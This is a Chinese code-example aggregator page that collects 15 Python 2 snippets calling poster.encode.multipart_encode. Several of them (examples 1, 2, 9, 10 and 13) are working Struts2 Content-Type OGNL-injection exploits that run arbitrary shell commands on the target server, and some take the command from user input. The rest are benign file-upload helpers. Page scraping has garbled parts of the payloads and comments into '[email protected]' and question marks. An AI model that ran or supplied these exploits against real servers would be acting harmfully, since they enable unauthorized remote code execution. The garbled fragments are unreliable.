本文整理匯總了Python中poster.encode.multipart_encode方法的典型用法代碼示例。如果您正苦於以下問題:Python encode.multipart_encode方法的具體用法?Python encode.multipart_encode怎麽用?Python encode.multipart_encode使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類poster.encode
的用法示例。
在下文中一共展示了encode.multipart_encode方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: payload
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def payload(self):
url = self.option.target['default']
register_openers()
datagen, header = multipart_encode({"image1": '23333'})
header[
"User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[
"Content-Type"] = "%{(#mosin='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).\
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\
(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().\
clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo mosin').\
(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).\
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).\
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().\
getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url, datagen, headers=header)
response = urllib2.urlopen(request).read()
if "mosin" in response:
self.result.status = True
print self.result.description
else:
print self.result.error
示例2: exploit
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def exploit(self):
url = self.option.target['default']
cmd = self.option.cmd['default']
register_openers()
datagen, header = multipart_encode({"image1": '23333'})
header[
"User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header[
"Content-Type"] = "%{(#mosin='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(w_url, datagen, headers=header)
response = urllib2.urlopen(request).read()
self.result.exp_status = True
print(response)
#???????????????
示例3: upload
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(basedir, upload_code):
for wkld_dir in sorted(glob.glob(os.path.join(basedir, '*'))):
print wkld_dir
sample_idx = 0
while True:
samples = glob.glob(os.path.join(wkld_dir, 'sample-{}__*').format(sample_idx))
if len(samples) == 0:
break
assert len(samples) == 4
basename = samples[0].split('__')[0]
params = {
'summary': open(basename + '__summary.json', "r"),
'knobs': open(basename + '__knobs.json',"r"),
'metrics_before':open(basename + '__metrics_start.json','r'),
'metrics_after':open(basename + '__metrics_end.json','r'),
'upload_code': upload_code,
}
datagen, headers = multipart_encode(params)
request = urllib2.Request("http://0.0.0.0:8000/new_result/", datagen, headers)
print urllib2.urlopen(request).read()
sample_idx += 1
示例4: upload
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(self, basepath, cluster_name):
exts = list(self.REQ_EXTS)
if os.path.exists(basepath + self.RAW_EXT):
exts.append(self.RAW_EXT)
fhandlers = {ext: open(basepath + ext, 'r') for ext in exts}
params = {
'upload_code': self.upload_code_,
'cluster_name': cluster_name,
'summary_data': fhandlers[self.SUMMARY_EXT],
'db_metrics_data': fhandlers[self.METRICS_EXT],
'db_parameters_data': fhandlers[self.PARAMS_EXT],
'sample_data': fhandlers[self.SAMPLES_EXT],
'benchmark_conf_data': fhandlers[self.EXPCFG_EXT],
}
if self.RAW_EXT in fhandlers:
params['raw_data'] = fhandlers[self.RAW_EXT]
datagen, headers = multipart_encode(params)
request = urllib2.Request(self.upload_url_, datagen, headers)
print urllib2.urlopen(request).read()
for fh in fhandlers.values():
fh.close()
示例5: post_file
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def post_file(self,url,filename,dict_obj={},headers={}):
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
self.method = 'POST'
register_openers()
data = {'file':open(filename,'rb')}
if dict_obj:
data.update( dict_obj )
datagen, _headers = multipart_encode( data )
if headers:
_headers.update( headers )
request = urllib2.Request(url, datagen, _headers)
response = urllib2.urlopen(request)
return response
示例6: upload
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(upload_code, datadir):
params = {
'summary': open(os.path.join(datadir, 'sample-0__summary.json'), "r"),
'knobs': open(os.path.join(datadir, 'sample-0__knobs.json'),"r"),
'metrics_start':open(os.path.join(datadir, 'sample-0__metrics_start.json'),'r'),
'metrics_end':open(os.path.join(datadir, 'sample-0__metrics_end.json'),'r'),
'upload_code': upload_code,
}
datagen, headers = multipart_encode(params)
request = urllib2.Request("http://0.0.0.0:8000/new_result/", datagen, headers)
print urllib2.urlopen(request).read()
示例7: upload
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(self, url, **file_form):
# ????????open?????with????????
register_openers()
datagen, headers = multipart_encode(file_form)
request = urllib2.Request(url, datagen, headers)
result = json.loads(urllib2.urlopen(request).read())
errcode = result.get("errcode")
if errcode and str(errcode) != "0":
self.err_handler.dispatch_error(errcode)
return result
示例8: post_file
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def post_file(filename, url, media='media'):
'''????'''
register_openers()
datagen, headers = multipart_encode({media: open(filename, "rb")})
request = urllib2.Request(url, datagen, headers)
return urllib2.urlopen(request).read()
示例9: exploit
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def exploit(target):
url = target
#print "??URl " + str(url)
register_openers()
id = str(uuid.uuid1())
cmd = "echo " + id
datagen, header = multipart_encode({"image1": "ipconfig"})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]='''%{(#nike='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@[email protected])).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='''+cmd+''').
(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@[email protected]().
getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).
(#ros.flush())}'''
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
html = response.read()
if id in response.read():
return True,id
else:
return False,None
except:
print "????"
pass
示例10: poc
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def poc():
register_openers()
cmd = "whoami"
datagen, header = multipart_encode({"image1": ''})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request("http://192.168.1.128:8080/Struts2FileUpload/doUpload.action",datagen,headers=header)
response = urllib2.urlopen(request)
html = response.read()
try:
html = html.decode("gbk").encode("utf-8")
except:
pass
print html
示例11: create_tmp_media
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def create_tmp_media(type,file_path):
token = getAccToken()
register_openers()
datagen, headers = multipart_encode({"media": open(file_path, "rb")})
api = 'https://qyapi.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=%s' % (token,type)
req=urllib2.urlopen(api, datagen, headers)
result = json.loads(req.read())
return result['media_id']
示例12: create_longtime_media
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def create_longtime_media(type,file_path):
token = getAccToken()
register_openers()
datagen, headers = multipart_encode({"media": open(file_path, "rb")})
api = 'https://qyapi.weixin.qq.com/cgi-bin/material/add_material?agentid=%s&type=%s&access_token=%s' % (WEIXIN_APPID,type,token)
req=urllib2.urlopen(api, datagen, headers)
result = json.loads(req.read())
return result['media_id']
示例13: poc
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def poc():
cmd = raw_input('cmd=')
register_openers()
datagen,header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
示例14: doUploadFileProgress
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def doUploadFileProgress(self,filePath, url):
startTime = getNow()
result = False
try:
widgets = ['Progress: ', Percentage(), ' ', Bar(
marker=RotatingMarker('>-=')), ' ', ETA(), ' ', FileTransferSpeed()]
pbar = ProgressBar(widgets=widgets, maxval=os.path.getsize(filePath)).start()
progress = Progress()
fileSizeStr = formatSize(os.path.getsize(filePath))
logger.info("??????{0} ?? {1}".format(filePath,fileSizeStr))
stream = file_with_callback(filePath, 'rb', progress.update,os.path.basename(filePath),pbar)
params = {"filedata": stream}
datagen, headers = multipart_encode(params)
upload_request =urllib2.Request(url, datagen, headers)
response = urllib2.urlopen(upload_request).read()
endTime = getNow()
totlaTime = caltime(startTime, endTime)
logger.info("??????{0} ????{1} ????{2} ????{3} ??{4} ????{5}"
.format(filePath,startTime, endTime, fileSizeStr, totlaTime,response))
#???????????'4b ? 0'???json ??errmsg("Extra data", s, end, len(s) ??????,??????????
if "code\":0" in response.replace(' ', ''):
result = True
else:
result = json.loads(response)["code"] == 0
except Exception as e:
logger.error("??????{0} exception: {1}".format(filePath,e))
return result
示例15: doUploadFile
# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def doUploadFile(self, filePath, url):
startTime = getNow()
logger.info("??????{0}".format(filePath))
result = False
fileSize = formatSize(os.path.getsize(filePath))
fileData = open(filePath, 'rb')
params = {"filedata": fileData}
try:
datagen, headers = multipart_encode(params)
request = urllib2.Request(url, datagen, headers)
response = urllib2.urlopen(request).read()
endTime = getNow()
totlaTime = caltime(startTime,endTime)
logger.info("??????{0} ????{1} ????{2} ????{3} ????{4} ??{5}"
.format(filePath,response,startTime,endTime,fileSize,totlaTime))
jsonData = json.loads(response)
result = jsonData["code"]==0
except Exception as e:
logger.error("??????{0}".format(filePath))
return result
finally:
fileData.close()
return result
"""
????????????????????????? ????
?????????????????????0
"""